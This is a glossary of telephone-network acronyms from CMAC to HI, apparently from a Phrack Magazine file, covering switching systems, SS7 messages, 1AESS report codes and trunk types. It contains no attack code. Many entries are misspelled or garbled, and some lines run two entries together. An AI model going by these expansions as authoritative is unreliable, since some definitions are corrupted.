CMAC Centralized maintenance and administration center CMAP Centralized maintance and administration position

CMC Call modification completed (SS7: in ISUP)

CMC Cellular mobile carrier

CMC Cellular modile carrier

CMC Construction maintenance center

CMD Command

CMDF Combined main distributing frame

CMDS Centralized message data system

CMF Capacity main station fill

CMP Communication module processor

CMP Communications module processor

CMP Companion board

CMP Corrective maintenancean practices

CMPR Compares

CMR Call modification request (SS7: in ISUP)

CMR Cellular mobile radio

CMRJ CMR reject (SS7: in ISUP)

CMS Call management system

CMS Circuit maintance system

CMS Circuit maintance system 1C

CMS Circuit maintenance system

CMS Communications management subsystem

CMS Conversational monitoring system

CMT Cellular mobile telephone

CMT Combined miscellaneous trunk frame

CMU CCS measured usage

CMU Colt measurement unit

CN C‑notch frequancy weighting

CN Change notice

CN Changel noticee

CN Connection

CN SSN network trunk INTER/TRA blocal 1‑26

CN/A Customer name/address

CN02 List of pay phones with coin disposal problems ‑ 1AESS coin phone

CN03 Possible trouble ‑ 1AESS coin phone

CN04 Phone taken out of restored service because of possible coin fraud

CNA Communications network application

CNAB Customer name/address bureau

CNCC Customer network control center

CNI Common network interface

CNMS Cylink network management system

CNS Complimentary network service

CNS Concentrating network system

CNT Count

CNTS Counts

CNVT Converted

CO Central office

CO Continuous (SARTS)

CO OCC overseas connecting facility INTER/TRA blocal 1‑26 CO UN Central office unit code

COA Change over acknowledgement (SS7 in MTE)

COAM Centralized operation

COAM Customer owned and maintained

COC Circuit order control

COCOT Customer‑owned coin‑operated telephone

COD Code

CODCF Central office data connecting facility

CODEC Coder/decoder

COE Central office entity

COE Central office equipment

COEES COE engineering system

COEES Central office equipment engineering system

COER Central office equipment record

COEST Central office equipment signature table

COF Confusion received (outgoing)

COFA Change of frame alignment (DS‑1)

COG Centralized operations group

COGRDG Central office grounding

COLP Connected line identification presentation

COLR Connected line identification restriction

COLT Central office limit table

COLT Central office line tester

COM Common controller

COM Communication

COM Complement size

COM Computer output microfilm

COM/EXP PCM‑compander/expander

COMM Comunication

COMMS Central office maintenance management system

COMMS‑PM Central office maintenance management system‑preventive Maintenance

COMP Computed

COMPNY Company

COMPS Central Office Managenment Program (GTE)

COMSAT Communications satellite

CON Concentrator ‑ COSMOS command

COND Conditions

CONF Conference calling (i.254 a)

CONFIG Configutation

CONN Connect msg. (i.451)

CONN Connector

CONN Nailed‑up connections

CONT Control

CONTAC Central office network access

CONUS Continental united states

COO Change over order (SS7: in MTP)

COP Call offering procedure

COPY Data copied from one address to another ‑ 1AESS copy CORC Commands and responses definition and compressing program (IOS) CORC Customer riginated recent change

CORCs Customer‑originated recent changes

CORNET Corperate network

COS Connection‑mode service

COSIB Central office platform operator service interface board COSMIC Common systems main interconnection frame system (frame) COSMOS Computer system for mainframe operations

COT Centeral office terminal

COT Central office technician

COT Central office terminal

COT Central office terminal (opposite to RT)

COT Continuity (SS7: in ISUP)

COTM Central office overload call timing (NTI)

CP Cable pair

CP Call processing parameters (NTI)

CP Communication processor (SARTS)

CP Concentrator identifier signaling link INTER/TRA blocal 1‑26 CP Control program

CPA Centralized/bulk power architecture

CPC Cellular phone company

CPC Circuit provision center

CPC Circuit provisioning center

CPC Circuit provisioning center (special services design group) CPCE Common peripheral controller equipment

CPD Central pulse distributor

CPD Common packet data channels

CPE Customer premise equipment

CPE Customer premises equipment

CPG Call progress (SS7: in ISUP)

CPH Cost per hour

CPI COSMOS‑premis interface

CPI Computer private branch exchange interface

CPIE CP or AM intervention interrupt error

CPM COSMOS performance monitor

CPM Citcuit pack module

CPM Cost per minute

CPMP Carrier performance measurement plan

CPS Cycles per second

CPU CCS capacity usage

CPU Call pick up

CPU Call pickup group

CPU Central processing unit

CQM Circuit group query (SS7: in ISUP)

CQR CQM response

CR Carriage return

CR Control Record

CR Control response

CR OCC backup facility INTER/TRA blocal 1‑26

CRAS Cable repair administrative system

CRC Customer record center

CRC Cyclic redundancy check

CRCOK CRC ok! (C/I channel code)

CRE Create

CRED Credit card calling (i.256 a)

CREF Connection refused

CREG Concentrated range extension with gain

CRF Continuity recheck failure (outgoing)

CRFMP Cable repair force management plan

CRG Creg tag

CRIS Customer records information system

CROT Centralized automatic reporting of trunks (NTI)

CRR Reset received (incoming)

CRS Centralized results system

CRSAB Centralized repair service answering bureau

CRST Specific carrier restricted

CRT Cathode ray tube

CRT Cathode‑ray tube

CRTM Central office regular call processing timing (NTI) CS Cable switching

CS Call Store

CS Channel service INTER/TRA blocal 1‑26

CS Conducted susceptibility (EMS)

CS Customer class of service

CSA Carrier serving area

CSACC Customer service administration control center

CSAR Centralized system for analysis and reporting

CSAR Centralized system for analysis reporting

CSC Cell site controller

CSD Circuit specific data

CSDC Circuit switched digital capability

CSDN Circuit‑switched data network (t.70)

CSF Critical short form

CSMA/ Carrier sense multiple access

CSMCC Complex services maintenance control center

CSNET Computer science network

CSO Central services organization

CSO Cold start only (in eoc)

CSP Coin sent paid

CSP Coin set paid

CSPDN Circuit‑switched public data network

CSR Clock shift register

CSR Customer service records

CSS Computer sub‑system

CSS Computer subsystem

CSS Customer service system

CSSC Customer service system center

CST Call state or current state or change state (QUASI SDL) CST Combined services terminal

CSU Channel service unit

CSUS Centralized automatic message accounting suspension (NTI) CT Call transfer (i.252 a)

CT Control terminal

CT SSN tie trunk INTER/TRA blocal 1‑26

CT01 Manually requested trace line to line information follows ‑ 1AESS

CT02 Manually requested trace line to trunk information follows ‑ 1AESS

CT03 Intraoffice call placed to a number with CLID ‑ 1AESS call trace CT04 Interoffice call placed to a number with CLID ‑ 1AESS call trace CT05 Call placed to number on the ci list ‑ 1AESS call trace CT06 Contents of the CI list ‑ 1AESS call trace

CT07 ACD related trace ‑ 1AESS call trace

CTC Central test center

CTC Centralized test center (DDS)

CTC Centralized testing center

CTC Complete a cable transfer or complete a cable throw CTD Circuit test data

CTE Cable throw order establishment

CTF Display the contacter‑transducer file

CTI Circuit termination identification

CTL Cable throw with line equipment assignment

CTL Central operator control

CTM Cable throw modification

CTM Contac trunk module

CTMC Communications terminal module controller

CTMS Carrier transmission measuring system

CTO Call transfer outside

CTO Continuity timeout (incoming)

CTP Print cable transfer frame work

CTR Cable throw replacement

CTS Cable throw summary

CTS Call through simulator

CTS Clear to send

CTSS Cray time sharing system

CTT Cartridge tape transport

CTT Cut through tag

CTTC Cartridge tape transport controller

CTTN Cable trunk ticket number

CTTU Central trunk testing unit.

CTU Channel test unit

CTW Withdraw a cable transfer or a cable throw

CTX Centrex group number

CTX Various centrix verifies

CU Channel unit

CU Channel unit

CU Control unit

CU Customer unit

CU/EQ Common update/equipment system

CU/TK Common update/trunking system

CUCRIT Capital utilization criteria

CUG Closed user group (i.255 a)

CUP Common update processor

CUSTAT Control unit hardware status

CUT Circuit under test

CUTOVER Cutover (pre‑cut) inactive state.

CV OCC voice grade facility INTER/TRA blocal 1‑26

CVN Vacant national number received (outgoing)

CVR Compass voice response

CW Call waiting (i.253 a)

CW OCC wire pair facility INTER/TRA blocal 1‑26

CWC City‑wide centrex

CWD Call waiting deluxe

CXC Complex service order input checker

CXM Centrex table management

CXT Complex order inquiry for nac review

CZ OCC access facility INTER/TRA blocal 1‑26

Acronyms Part II

==Phrack Magazine==

Volume Four, Issue Forty‑Three, File 22 of 27

{Acronyms Part II}

D Data

D Default supervision

D Digits

D Dispach

D Hotel/motel equipment from trouble report (TSPS only) D‑CTL D channel controller (IDEC)

D/A Digital to analog

D1PK DS‑1 interface pack (SCM‑10S NTI)

D1PK DS‑1 interface pack (SCM‑10S MUX NTI) DA Digital data off‑net extention INTER/TRA blocal 1‑26 DA Directory assistance

DAC Digital to analog converter

DAC Dispatch Administration Center

DACC Directort assistance call completion DACK Direct memory access acknowledge

DACOM Data communictions corp. of korea (ROK) DACS Digital access cross‑connect system

DACS Digital accessed and cross‑connected system DACS Directory assistance charging system DACTVTD Deactivated

DAEDR Delimitation

DAIS Distributed automatic intercept system DAML Digital added main line (pair gain)

DAMT Direct access mechanize testing

DAP Display administration process

DAP Document application profile

DARC Division alarm recording center

DART Distribution area rehabilitation

DARU Distributed automatic intercept system audio response unit DAS Data auxiliary set

DAS Directory assistance system

DAS Distributor and scanner

DAS‑WDT Distributor and scanner‑watch dog timer

DAS/C Directory assistance system/computer

DASD Direct access storage device

DASS2 Digital access signaling system 2 (BT)

DAU Digital access unit

DAV Data above voice

DAY Delete an assembly

DB DSSDS 1.5 mb/s access line INTER/TRA blocal 1‑26 DB Decibel

DBA Data base administrator

DBAC Data base administration center

DBAS Data base administration system

DBCS Data bank control system

DBL Data base load

DBM Database manager

DBMS Data base management system

DBOS Data bank organization system

DBS Duplex bus selector

DBSS Data bank security system

DC Device cinfirmation (C/I channel code)

DC Dial code

DC Direct current

DCC Data collection computer

DCC Data country code (ISO 7498)

DCC Destination code cancellation

DCC Destination code cancellation control

DCC Digroup core controller

DCCS Discontiguous shared segments

DCD Data collection device

DCE Data circuit terminal equipment

DCE Data circuit‑terminating equipment

DCE Data communications equipment

DCE Digital carrier equipment

DCG Default cell group

DCH D channel handler

DCH D‑channel handling bit

DCH Discharge

DCHOOS D‑channel is out of service.

DCL Data clock (i.e. IOM2)

DCL Dec control language

DCLU Digital carrier line uint

DCLU Digital carrier line unit

DCM Digital carrier module

DCME Digital circuit multiplexing equipment

DCMS Distributed call measurement system

DCMU Digital concentrator measurement unit

DCN List disconnected and changed numbers

DCP D channel processor

DCP Duplex central processor

DCPR Detailed contuing property record (pics/dcpr) DCPSK Differential coherent phase‑shift keying

DCS Data communications subsystem

DCS Digital crosconnect system

DCS Digital cross‑connect system

DCS Direct current signaling

DCSO Display compleated service order (lmos command) DCT Digital carrier trunk

DCTB Dct bank

DCTEXT DCT extended

DCTN Defense commercial telecommunications network DCTS Dimension custom telephone service

DCTUCOM Directly connected test unit common board DCTUPORT Directly connected test unit port circuit

DCn Device control n

DD Data downstream (i.e. IOM2)

DD Delay dial

DD Disk drives

DD Due date

DD Total switching control center (SCC) and field work time. DDC Direct department calling

DDCMP Daily display conversation mode and printer DDD Direct distance dialing

DDGT Digital data group terminal

DDI Direct dialing‑in (i.251 A)

DDN Defense data network

DDOV Digital data over voice

DDS DDS loopback test (SARTS command)

DDS Dataphone digital service

DDS Digital data service

DDS Digital data system

DDS Digital data system (the network) dataphone digital DDS Digital dataphone service

DDS Display the DS table

DDX Digital data exchange

DDX Distributed data exchange

DEAC Deactivation (C/I channel code)

DEACT Deactivate

DEC Digital equipment corporation

DECT Digital european cellular phone

DEL Delete

DEN Digital equipment number

DERP Defective equipment replacement program

DES Data encryption standard

DES Destination

DEST Destinations

DET Detatch MSG. (i.451)

DEV Deviation

DEV Device

DEW Distant early warning (line)

DF Distributing frame

DF Distribution frame

DF HSSDS 1.5 mb/s hub to hub INTER/TRA blocal 1‑26 DFC Disk file controller

DFI Digital facility interface

DFI Digital facility interface.

DFI Digital family interface

DFIH Digital facility interface circuit pair

DFMS Digital facility management system

DFTAC Distributing frame test access circuit

DG HSSDS 1.5 mb/s hub to earth station INTER/TRA blocal 1‑26 DGCT Diagnostic control table

DGN Diagnose

DGN Memory failure in CS/PS diagnostic program ‑ 1AESS mem diag DH Digital service INTER/TRA blocal 1‑26

DI Deactivation indication (C/I channel code)

DI Direct‑in dial INTER/TRA blocal 1‑26

DI Unk division?

DIA Document interchange architecture

DIAG Diagnostic

DIC Digital concentrator

DIC Digital interface controller

DID DI downstream

DID Direct inward dialing

DIF Digital frame interface

DIF Digital interface

DIF Digital interface frame

DIFF Difference

DILEP Digital line engineering program

DIM Data in the middle

DIP Dedicated inside plant COSMOS command

DIP Dip creation option

DIP Document interchange protocol (lower sublayer of OSI layer 6) DIP Dual in‑line package

DIR Direction

DIR Directory

DIR Standard dip report

DIS Disconnect

DIS Display

DISA Direct inward system access

DISABL Disable

DISC Disconnect (LAP‑D command)

DISD Direct inward subscriber access

DIST Distribute point board

DIU Deactivate indication

DIU Digital interface unit

DIU Digroup interface unit (DACS)

DIV (Ger) Digital exchange

DIVF (Ger) Div for long distance service

DIVO (Ger) Div for local service

DJ Digit trunk INTER/TRA blocal 1‑26

DK Data link INTER/TRA blocal 1‑26

DL Dial

DL Dictation line INTER/TRA blocal 1‑26

DL1PE DLI 1 parity error

DL5MDA Someone who collects each ISDN abbrevation crossing his way DLAB Divisor latch access bit

DLC Data link control

DLC Data link controller assignment for clusters

DLC Digital loop carrier

DLCI Data link connection identifier (i.440: SAPI+TEI) DLCU Digital line carrier unit

DLE Data link escape (ascii control)

DLI Data link interface

DLI0I Data link 0 interrupt

DLI1I Data link 1 interrupt

DLISW DLI switch error

DLL Dial long lines

DLM Data link module

DLN Direct link node

DLNORSP Init response not received from data link.

DLOPE Dual link interface (DLI) 0 parity error

DLP Data level point

DLS Digital line section

DLS Digital link service

DLTHA Display trouble history all (LMOS command)

DLTU Digital line trunk unit

DLTU Digital line/trunk unit

DLU‑PG Digital line unit‑pair gain

DLUC Digital line unit control

DLYR Delayed readiness

DM DMR

DM Delta modulation

DM Disconnected mode (LAP‑D response)

DMA Direct memory access

DMB Digital multipoint bridge

DMERT Duplex multiple environment real time

DMI Digital multiplexed interface

DML Data manipulation logic

DMLHG DSN/AUTOVON MLHG

DMQ Deferred maintenance queue

DMS Data management system

DMS Digital multiplex system (i.e. DMS 10, DMS 100) DMS Digital multiplexed system

DMU Data manipulation unit

DN Directory number

DN Directory numbers

DN Distribution network panel

DN Down

DN Mail distribution frame ‑ COSMOS defult

DNC Dynamic network controller

DNH Directory Number Hunting

DNHR Dynamic non hierarchical routing

DNHR Dynamic nonhierarchical routing

DNI Digital network interconnecting

DNIC Data network identification code

DNIC Data network identification code (ISO 7498)

DNR Detaled number record

DNR Dialed number recorder

DNX Dynamic network X‑connect

DO Direct‑out dial INTER/TRA blocal 1‑26

DOC Dynamic overload control

DOC Dynamic overload controls messages.

DOCS Display operator console system

DOD (USA) Dept. of defense

DOJ Department of justice

DOM Data on master group

DOTS Digital office timing supply

DOV Data over voice

DP Demarcation point

DP Dial pulse

DP Digital data‑2 4 kb/s INTER/TRA blocal 1‑26

DPA Different premises address

DPA Dispatch

DPA Distributed power architecture

DPAC Dedicated plant assignment card

DPAC Dedicated plant assignment center

DPC Destination point code (SSY)

DPCM Differential PCM

DPE Data path extender

DPGS Digital pair gain systems

DPIDB Direct PIDB

DPIDB Directly connected peripheral interface data bus DPLL Digital phase locked loop

DPN Dip purge number

DPN‑PH Data packet network‑packet handler

DPNSS Digital private network signaling system (BT) DPP Discounted payback period

DPP Distributed processing peripheral

DPR Dip report and removal

DPSK Differential phase shift keying

DPSK Differential phased‑shift keying

DPT Data parameter testing

DPT Department name

DPU Digital patch unit

DQ Digital data‑4 8 kb/s INTER/TRA blocal 1‑26

DQR Design quota system report

DQS Design quota system

DR Data ready

DR Data receive

DR Deactivate request (C/I channel code)

DR Deactivation request

DR Digital data‑9.6 kb/s INTER/TRA blocal 1‑26

DRAM Digital record announcement machine

DRAM Dynamic ram

DRCS Dynamically redefinable character sets

DRHR Division of revenue hourly

DRMU Digital remote measurement unit

DRTLRT Dial repe tie lindal repeatie t

DRU DACS remote unit

DS Data set

DS Digital carrier span

DS Digital signal

DS Direct signal

DS‑0 Digital signal 0 (one channel at 64 kb/s)

DS‑0A Digital signal at a subrate level on DS‑0 for one customer DS‑0B Digital signals at a subrate level on DS‑0 facility for one or more CU

DS‑1 Digital signal level one

DS0 Digital signal zer0

DSBAM Double‑sideband amplitude module

DSBLD Disabled (default).

DSC Digital cross‑connection systems

DSC Digital subscriber controller AM79C3A

DSCT Digital service copper transport

DSDC Direct service dial capability

DSI Digital speech interpolation

DSIG Direct signaling

DSK Disk

DSL Digital subscriber line

DSL Digital suscriber line

DSLG digital subscriber line group (DSLG)

DSLINIT DSL initialization.

DSM Digital switching module

DSMX (Ger) Digital signal multiplexer

DSN Defense switched network/automatic voice network DSN Digital signal (level) n

DSNE Double shelf network equipment frame

DSNOFC DSN/AUTOVON office totals

DSNTG DSN/AUTOVON trunk group

DSP Digital signal processing

DSP Digital signal processing or digital signal processor DSP Digital signal processor

DSP Domain specific part (ISO 7498)

DSR Data set ready

DSR Display results

DSR Dynamic service register

DSRTP Digital service remote test port

DSS Data station selector

DST Destination of order response

DSU Data service unit

DSU Data servicing unit

DSU Digital service unit

DSU2 Diditalservice unit

DSX Digital cross‑connect

DSX Digital signal cross‑connect

DT DI‑group terminal

DT Data through (C/I channel code in test mode)

DT Data transmit

DT Detect dial tone

DT Due time

DT1 Data form class 1

DTAC Digital access connector

DTAC Digital test access connector

DTAC Digital test access connector (links SMAS and SLC‑96) DTAM Document transfer access and manipulation

DTAS Digital test access system

DTAU Digital test access unit

DTC Data test center

DTC Di‑group terminal controller

DTC Digital telephone controller (ARCOFI + IBC + ICC) DTC Digital trunk controller

DTE Data terminal equipment

DTE Print current date

DTF Dial tone first (pay phone)

DTG Direct trunk group

DTIF Digital transmission interface frame

DTM Data test module

DTM Digital trunk module

DTMF Dual‑tone multifrequency

DTR Data terminal ready

DTRK Digital Trunks

DTRK Digital trunks (line and trunk)

DTU Di‑group terminal unit

DTU Digital test unit

DU Data upstream (i.e. IOM2)

DU Deactivation request upstream (C/I channel code) DUIH Direct user interface handler

DUP Data user part

DUP Duplicate

DUR Duration

DUV Data under voice

DVA Design verified and assigned

DVX Digital voice exchange

DW Digital data‑56 kb/s INTER/TRA blocal 1‑26

DX Duplex

DY Digital service (under 1 mb/s) INTER/TRA blocal 1‑26 DYRECT Sides dynamic real time communication tester (in sitest) E E (receive) signal lead (moreover Ear part of E&M) E Equipment direction

E Remote trunk arrangement position subsystem (rta/pss) from troubl E&M Receive & transmit/ear & mouth signaling

E‑COM Electronic computer originated mail

E1 Equipment system

E800 Enhanced 800 Service

E911 Enhanced 911

EA Equal access end office

EA Expedited data acknowledgement (SS7: in SCCP)

EA Extended adress

EA Switched acess INTER/TRA blocal 1‑26

EAAT Equal access alternative technologies

EADAS Engineering and administration data acquisition system EADAS/NM EADAS/network management

EAEO Equial access end office

EAI Emergency action interface

EAP Equal access plan

EARN European academic research network

EAS Extended announcement system

EAS Extended area service

EASD Equal access service date

EB Enfia ii end office trunk INTER/TRA blocal 1‑26

EBAC Equipmentc billing accuracy control

EBCDIC Extended binary coded decimal interexchange code EBSP EBS prefix translations

EBSP Enhanced business services prefix translations

EC ESS entity and control group number

EC Echo canceller

EC Enfia ii tandem trunk INTER/TRA blocal 1‑26

EC Environment code

EC European community

EC Exchange carriers

ECAP Electronic customer access program

ECC Enter cable change

ECCS Economic c (hundred) call seconds

ECD Equipment configuration database

ECDMAN Equipment configuration database manager

ECF Enhanced connectivity facility

ECL Emitter coupled logic

ECMA European computer manufactueres association

ECPT Electronic coin public telephone

ECR Exchange carrier relations

ECS Electronic crosconnect system

ECS Equipment class of service

ED Enter date

EDAC Electromechanical digital adapter circuit

EDD Envelope delay distortion

EDI Electronic data interchange

EDP Electronic data processing

EDSC Electronic directory customer counts (ISDN BRCS) EDSX Electronic digital signal x‑connect

EDZ Facility emergency assignment list

EE Combined access INTER/TRA blocal 1‑26

EE Initials of supervisor reviewing this ticket.

EEC Electronic equipment cabinet

EECT End‑to‑end call trace

EEDP Expanded electronic tandem switching dialing plan EEE Electronic equipment enclosures

EEHO Either end hop off

EEI Equipment‑to‑equipment interface

EEPROM Electrically erasable programmable read only memory EF Entrance facility‑voice grade INTER/TRA blocal 1‑26 EFCTS Electronic custom telephone service

EFRAP Exchange feeder route analysis program

EG Type #2 telegraph INTER/TRA blocal 1‑26

EIA Electronic industries association

EIS Expanded inband signaling

EISS Economic impact study system

EIU Extended interface unit

EIn Error indication n (C/I channel code)

EKTS Electonic key telephone service

EKTS Electronic key telephone sets

EL Emergency reporting line INTER/TRA blocal 1‑26

ELA Entity load analysis

ELDS Exchange line data service

ELECL Electrical

ELEMNTS Elements

ELI Electrical line interface

EM Emergency reporting center trunk INTER/TRA blocal 1‑26 EM Encription module

EM End of medium (ASCII control)

EMC Electromagnetic capability

EMC Electromagnetic compatibility

EME Electromagnetic emission

EMI Electromagnetic interference

EML Expected measured loss

EMM Expandable mos memory

EMS Electromagnetic susceptibility

EMS Expanded memory specification

EMSCC Electromechanical switching control center

EMV EMC (german)

EN Entity

EN Entity number

EN Exchange network acess facility INTER/TRA blocal 1‑26 ENABL Enable

ENFIA Exchange network facility for interstate access ENHMT Enhancement

ENQ Enquiry

ENTDT Entered date and/or time

EO End office

EOC Embedded operation channel

EOE Electronic order exchange

EOM End of message

EOS Extended operating system

EOTT End office toll trunking

EP Entrance facility‑program grade INTER/TRA blocal 1‑26 EP Expedited data (SS7: in SCCP)

EPIC Extended PIC

EPL Electronic switching system program language

EPROM Erasable programmable read‑only memory

EPSCS Enhanced private switched communication service

EQ Equalizer

EQ Equipment only‑(network only) assignment INTER/TRA blocal 1‑26 EQPT Equipment

ER Enhancement request

ER Error register

ER Exception report

ERAR Error return address register

ERC Error control (IOS)

EREP Environmental recording editing and printing

ERF Emergency restoration facility

ERL Echo return loss

ERP Effective radiated power

ERPMP Exception report pumper

ERR Error

ERRS Errors

ERTS Error rate test set

ERTS Error rate test sets

ERU Error return address update

ES Extension service‑voice grade INTER/TRA blocal 1‑26 ESAC Electronic systems assistance center

ESAP Emergency Stand‑Alone prefix

ESAP Emergency stand‑alone prefix

ESB Emergency service bureau

ESC Enhanced speech circuit

ESC Escape (ASCII control)

ESC Three way calling USOC

ESCC2 Extended high level serial communication controller ESCC8 Like ESCC2

ESD Electrostatic discharge

ESD Extened super framing

ESF Extended super frame

ESF Speed calling USOC

ESFF Extended superframe format

ESL Emergency stand‑alone

ESL Essental service

ESL Speed calling 8 code USOC

ESM Call forwarding USOC

ESM Economic study module

ESMTC Electronic system maintance

ESN Electronic serial number (Cell)

ESN Electronic switched network

ESN Emergency service number

ESP Enhanced service procider

ESP Enhanced service providers

ESP Essential service protection

ESP Print entire summary table

ESS Electronic switching system

ESSX Electronic switching systen exchange

EST Established

ESTAB Establish

ESX Call waiting USOC

ET Entrance facility‑telegraph grade INTER/TRA blocal 1‑26 ET Exchange termination

ETAS Emergency technical assistance

ETB End of transmission block

ETC Estimated trunk ccs value

ETF Electronic toll fraud

ETL Equipment test list

ETN Electronic tandem network

ETRI Electronics and telecommunications research institute (ROK) ETS Electronic tandem switching

ETS Electronic translation systems

ETSACI Electronic tandem switching adminstration channel interface ETSSP ETS status panel

ETX End of text

EU End user

EU Extension service‑telegrasph grade INTER/TRA blocal 1‑26 EUPOT End user‑point of termination

EV Enhanced emergency reporting trunk INTER/TRA blocal 1‑26 EV Expected value

EVB Busy call forward USOC

EVC Bust call forward extended USOC

EVD Delayed call forward USOC

EVD Delayed call forwarding

EVST (Ger) End exchange

EW Off network MTS/WATS equivalent service INTER/TRA blocal 1‑26 EWSD (Ger) Electronic dialing system (digital)

EX Exercise

EXD ECS crossloading option

EXD Extra digit

EXD Extra digit (MDII)

EXP Extra pulse

EXP Extra pulse (MDII)

EXT Extension

EXTC Expenditure type code

F Facility direction

F Fault (indicator)

F Office or base unit from trouble report.

F1 Facility system

FA Frame aligner

FA Fuse alarm

FAA Facility accepted (SS7 in ISUP)

FAC Facility

FAC Facility Assiment Center

FACD Facility changed msg.

FACS Facilities assignment and control system

FADS Dorce administration

FANALM Fan alarm

FAP Facilities analysis plan

FAR Facility request (SS7: in ISUP)

FAR Federal acquisition regulation

FAS Frame alignment signal

FAST First application system test

FAT File allocation table

FAX Faximile

FC Feature control

FC Frame control

FC From cable

FC/EC Function code and environment code

FCA Final closure abandon (MDII)

FCAP Facility capacity

FCC Federal communications commission

FCC Forward command channel

FCC Frame control center

FCD Frame comtinuity date

FCG False cross or ground

FCS File control systemction

FCS Frame check sequence

FD Private line‑data INTER/TRA blocal 1‑26

FDD Frame due date

FDDI Fiber distributed data interface (x3t9.5)

FDI Feeder/distribution interfaces

FDM Frequency division multiplex

FDM Frequency‑division multiplexing

FDMA FDM access

FDP Field development program

FDT Frame due time

FDX Full duplex

FDY Set fiscal day for LAC

FEA Custom calling feature/PIC

FEA Customer feature

FEAT Feature

FEAT Features

FEBE Far end block error (IOM2 monitor message)

FEC Forward error correction

FECC Front end communication computer

FED Far end data

FELP Far end loop process

FEMF Foreign electro‑motive force

FEPS Facility and equipment planning system

FEV Far end voice

FF Check appropriate space where trouble is located

FF Form feed

FG Group‑supergroup spectrum INTER/TRA blocal 1‑26

FGA Feature group A

FGB Feature group B

FGC Feature group C

FGD Feature group D

FGE Feature group E

FGK Feature group K (ISDN Q.931)

FIB Forward indication bit (SS7)

FID Field indentifiers

FIFO First in

FIFO First in first out (storage)

FIL Filter

FIN Facility information msg.

FIOC Frame input/output controller

FIP Facility interface processor

FIPS Federal information processing standards

FISU Fill in signal unit (SS7)

FITL Fiber in the loop

FJ Frame jump (C/I channel code)

FKP False key pulse

FKP False key pulse (MDII)

FL Fault locate

FL Fault location

FLA Flag

FLD Field

FLEXCOM Fiber optic communication

FLR Frame layout report

FLT Flat

FM Frequency modulation

FM01 DCT alarm activated or retired ‑ 1AESS

FM02 Possible failure of entire bank not just frame ‑ 1A FM03 Error rate of specified digroup ‑ 1AESS

FM04 Digroup out of frame more than indicated ‑ 1AESS FM05 Operation or release of the loop terminal relay‑1AESS FM06 Result of digroup circuit diagnostics ‑1AESS

FM07 Carrier group alarm status of specific group ‑ 1AESS FM08 Carrier group alarm count for digroup ‑ 1AESS

FM09 Hourly report of carrier group alarms ‑ 1AESS

FM10 Public switched digital capacity failure ‑ 1AESS FM11 PUC counts of carrier group errors ‑ 1AESS

FMAC Facility maintance administration center

FMAC Facility maintenance and control

FMC Force management center

FMM Finite message machine

FN Feature number

FN File name

FNBE Far and near end block error (IOM2 monitor message) FNPA Foreign numbering plan area

FOA First office application

FOC Fiber optic communications

FON Fiber optics network

FOR Frame order report

FORPOT Foreign potential.

FOS Frame operations summary

FOS‑ALC Fiber optic systems maintance ‑ Alcatel

FOS‑ROCK Fiber optic system maintance ‑ Rockwell

FOT Forward transfer (SS7: in ISUP)

FP Functional protocol

FPC Foundation peripheral controller

FPC Frequency comparison pilots

FPS Fast packet switching

FR Fire dispatch INTER/TRA blocal 1‑26

FR Fixed resistance

FR Flat rate

FRAC Frame aligner circuit

FRC Forced request configuration

FREQ Frequency

FRJ Facility rejected msg. (SS7 in ISUP)

FRMR Frame reject (LAP‑D response)

FRPS Field reliability performance studies

FRQ Facility request message

FRS Flexible route selection

FS File separator

FS/SYM Function Schematic/Symbol Numbers (1AESS Test access) FSA False start abandon

FSA False start abandon on incoming trunk

FSC Frame synchronization clock (i.e. IOM2)

FSK Frequency shift keying

FSN Forward sequence number

FT Foreign exchange trunk INTER/TRA blocal 1‑26

FT Frame time

FTA Frame transfer analysis

FTC Frame transfer completion

FTE Frame transfer establishment

FTG Final trunk group

FTL Frame transfer lets

FTP File transfer protocol

FTR Frame transfer reprint

FTS Federal telecommunications system

FTW Frame transfer withdrawal

FUNCS Functions

FV Voice grade facility INTER/TRA blocal 1‑26

FW Wideband channel INTER/TRA blocal 1‑26

FWD Forward

FWM Frame work management

FWS Frame work station

FX Foreign exchange

FX Foreign exchange INTER/TRA blocal 1‑26

FXO Foreign exchange circuit office direction

FXS Foreign exchange circuit station direction

G Spare box. use for special studies.

GAP (Ec) group of analysis and provision (for ONP)

GB Great britain

GBS Group bridging service

GC Group card

GCE Gated Oscillator Error

GCI General circuit interface (IOM/u(k0)‑interface)

GCON Generic conditions

GCP Generate Control pulse

GCR General configuration register

GCS Group control system

GDSUCOM Global DSU common

GDSUCOM Global digital service unit common

GDX Gated diode crosspoint

GDXACC Gated diode crosspoint access

GDXC Gated diode crosspoint compensator

GDXCON Gated diode crosspoint control circuit

GEISCO General electric information services company

GFR General facility report

GG Getails of reported trouble.

GH Gain hit

GHZ Gigahertz

GID Group ID

GKCCR Generated key collection and compression routine

GLA Generate lists for assignment

GND Ground

GNS Gainslope

GNS Gainslope test (SARTS command)

GOC General order control (TIRKS)

GOS Grade of service

GP Group processor

GPA Gas pressure alarm

GPIB General purpose interface bus

GPPC General purpose power controller

GPS Global positioning system

GR General requirments (BellCoRe)

GRA GRS acknowledgement

GRASP Generic access package

GRD Ground fault.

GRD Ground.

GRID Line unit grid.

GRP Group

GRP MOD Group modulator

GRS Circuit group reset (SS7: in ISUP)

GS Ground start (on‑hook normal)

GS Group separator

GSA General services administration

GSAT General telephone and electronics satellite corporation GST Ground start signaling

GSZ Group size

GTC General telephone company

GTE General telephone electronics

GTEI Global tei

GTS Gamma transfer service

GTT Global title transmission

GWY Gateway

Ger German

H Hold state (in EOC)

H Hours

H Trouble ticket number. subparagraph 5.6.4.

H&D High and dry (trunk test)

H‑ High‑

H‑RAP Hardware reliability assurance program

HAC Hands‑free add‑on circuit (for speakerphone)

HBS Hunt group blocks of spares

HC High capacity 1.544 mb/ps‑service code for LATA access HC Hunt count

HCDS High capacity digital service

HCDS High‑capacity digital services

HCFE High‑capacity front end

HCSDS High‑capacity satellite digital service

HCTDS High‑capacity terrestrial digital service

HD High capacity 3.152 mb/ps‑service code for LATA access HDB3 High‑density bipolar 3 (cept PRI)

HDFI HSM digital facilities interface

HDLC High level DLC

HDLC High‑level data link control

HDSL High bit‑rate digital subscriber line

HDTV High definition television (soon to be the new buzz word!!) HDW Hardware

HDX Half duplex

HE High capacity 6.312 mb/ps‑service code for LATA access HEAP Home energy assistance program

HEHO High end hop off

HF High capacity 6.312‑service code for LATA access

HF Hunt‑from telephone number

HFCC High capacity facility control center

HFR Hardwara failure rate

HG High capacity 274.176 mb/s‑service code for LATA access HGBAF Hardware group blocking acknowledgment failure

HGR Hunt group report

HGS Hunt group summary

HGUAF Hardware group unblocking acknowledgment failure

HH History header

HH Record of repair activity.

HI High

HI High impedance (C/I channel code)

HI Highway interrupt
